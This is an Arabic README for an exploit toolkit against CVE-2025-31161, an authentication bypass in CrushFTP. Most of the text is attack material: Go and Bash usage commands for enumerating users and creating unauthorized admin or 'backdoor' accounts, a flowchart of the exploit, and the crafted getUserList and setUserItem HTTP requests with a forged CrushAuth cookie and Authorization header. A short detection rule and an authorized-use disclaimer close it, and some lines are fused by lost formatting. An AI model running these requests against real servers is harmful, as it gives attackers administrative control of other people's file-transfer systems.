
مجموعة أدوات استغلال متعددة اللغات لـ CVE-2025-31161، وهو تجاوز للمصادقة في CrushFTP. تتيح الكشف عن الثغرات، تعداد المستخدمين، وإنشاء حساب إداري غير مصرح به لاختبار الأمان المصرح به وتحديات CTF.
مجموعة أدوات شاملة لاستغلال الثغرة CVE-2025-31161، وهي ثغرة تجاوز مصادقة في CrushFTP تسمح بإنشاء حسابات مستخدمين غير مصرح بها.
CVE-2025-31161 هي ثغرة حرجة في تجاوز المصادقة في CrushFTP تسمح للمهاجمين بإنشاء حسابات مستخدمين غير مصرح بها دون مصادقة صحيحة. توجد هذه الثغرة في وظيفة إدارة المستخدمين الخاصة بواجهة الويب.
-t و -p و -tuCrushFTP-auth-bypass-CVE-2025-31161/
├── README.md # هذه التوثيقات
├── cve-2025-31161.go # تطبيق Go (موصى به)
├── cve-2025-31161.sh # تطبيق Bash
└── LICENSE # رخصة MIT
# تثبيت Go (إذا لم يكن مثبتاً بالفعل)
sudo apt install golang-go
# أو
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
# يتطلب curl (عادةً مثبت مسبقاً)
sudo apt install curl
git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh
# الاستخدام الأساسي مع العلامات المختصرة
go run cve-2025-31161.go -t example.com -lu
# مع منفذ مخصص
go run cve-2025-31161.go -t example.com -p 8080 -lu
# العلامات بالصيغة الطويلة
go run cve-2025-31161.go --target_host example.com --port 8080 -lu
# إنشاء مستخدم جديد (سيطلب اسم المستخدم وكلمة المرور)
go run cve-2025-31161.go -t example.com -au
# مع مستخدم هدف مخصص (الافتراضي: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au
# العلامات بالصيغة الطويلة
go run cve-2025-31161.go --target_host example.com --target_user admin -au
# الاستخدام الأساسي
./cve-2025-31161.sh -t example.com -lu
# مع منفذ مخصص
./cve-2025-31161.sh -t example.com -p 8080 -lu
# إنشاء مستخدم جديد
./cve-2025-31161.sh -t example.com -au
# مع إعدادات مخصصة
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au
# مثال 1: تعداد المستخدمين على الهدف
go run cve-2025-31161.go -t ftp.example.htb -lu
# مثال 2: إنشاء حساب خلفي
go run cve-2025-31161.go -t ftp.example.htb -au
# ثم أدخل: username: backdoor, password: P@ssw0rd123
# مثال 3: منفذ غير قياسي مع تعداد المستخدمين
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu
# عرض المساعدة
./cve-2025-31161.sh --help
flowchart TD
A[بدء الاستغلال] --> B[فحص اتصال الهدف]
B --> C{هل الهدف قابل للوصول؟}
C -->|لا| D[خروج: فشل الاتصال]
C -->|نعم| E[إرسال طلب getUserList]
E --> F{هل يحتوي الرد على OK؟}
F -->|لا| G[خروج: غير قابل للاستغلال]
F -->|نعم| H[الهدف قابل للاستغلال!]
H --> I{الوضع المحدد؟}
I -->|سرد المستخدمين -lu| J[تحليل رد XML]
J --> K[عرض قائمة المستخدمين]
K --> L[خروج: نجاح]
I -->|إضافة مستخدم -au| M[طلب اسم المستخدم]
M --> N[طلب كلمة المرور]
N --> O[إرسال طلب تسخين]
O --> P[بناء حمولة إنشاء المستخدم]
P --> Q[إرسال طلب setUserItem]
Q --> R{هل تم إنشاء المستخدم بنجاح؟}
R -->|نعم| S[نجاح: تم إنشاء الحساب]
R -->|لا| T[فشل: الاستغلال لم ينجح]
style A fill:#e1f5fe
style H fill:#c8e6c9
style K fill:#81c784
style S fill:#4caf50
style D fill:#ffcdd2
style G fill:#ffcdd2
style T fill:#ffcdd2
يرسل السكريبت أولاً طلب getUserList للتحقق مما إذا كان الهدف قابلاً للاستغلال:
GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
إذا كان الرد يحتوي على <response_status>OK</response_status>، فإن الهدف قابل للاستغلال.
عند استخدام العلامة -lu، يقوم السكريبت بتحليل رد XML واستخراج أسماء المستخدمين:
<user_list type="vector">
<user_list_subitem>ben</user_list_subitem>
<user_list_subitem>crushadmin</user_list_subitem>
<user_list_subitem>default</user_list_subitem>
</user_list>
الإخراج:
[+] المستخدمون:
- ben
- crushadmin
- default
عند استخدام العلامة -au، يرسل السكريبت طلب setUserItem مع حمولة XML ضارة:
POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded
command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If
يتحقق السكريبت من وجود <response_status>OK</response_status> في الرد لتأكيد نجاح إنشاء المستخدم.
تنشأ الثغرة من فحص غير كافٍ للمصادقة في وظيفة إدارة المستخدمين لواجهة ويب CrushFTP. يقبل التطبيق طلبات إنشاء مستخدم دون التحقق السليم من صلاحيات المتصل.
setUserItem غير المعتادة في سجلات الويب/webinterface/function/# مثال قاعدة Snort/Suricata
alert http any any -> any any (msg:"محاولة استغلال CrushFTP CVE-2025-31161"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)
⚠️ هام: هذه الأداة مصممة من أجل:
لا تستخدم على أنظمة دون إذن كتابي صريح. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني وقد يؤدي إلى عواقب قانونية شديدة.
المساهمات مرحب بها! يرجى:
git checkout -b feature/improvement)git commit -am 'أضف ميزة جديدة')git push origin feature/improvement)| الإصدار | التاريخ | التغييرات |
|---|---|---|
| 1.0.0 | 2025-01-XX | الإصدار الأولي مع تطبيقات Go و Bash |
| 1.1.0 | 2025-01-XX | الوضع التفاعلي وكشف الثغرات |
| 1.2.0 | 2025-10-02 | إضافة تعداد المستخدمين (-lu)، وضع إضافة مستخدم منفصل (-au)، علامات مختصرة (-t و -p و -tu) |
للاستفسارات أو الاقتراحات أو المخاوف الأمنية، يرجى فتح مشكلة (issue) في هذا المستودع.
| العلامة | الصيغة الطويلة | الوصف | الافتراضي |
|---|
-t | --target_host | اسم المضيف الهدف أو IP (مطلوب) | - |
-p | --port | المنفذ الهدف | 80 |
-tu | --target_user | المستخدم الهدف للاستغلال | crushadmin |
-lu | --list-users | سرد المستخدمين الحاليين | - |
-au | --add-user | إضافة مستخدم جديد (تفاعلي) | - |
--help | عرض رسالة المساعدة | - |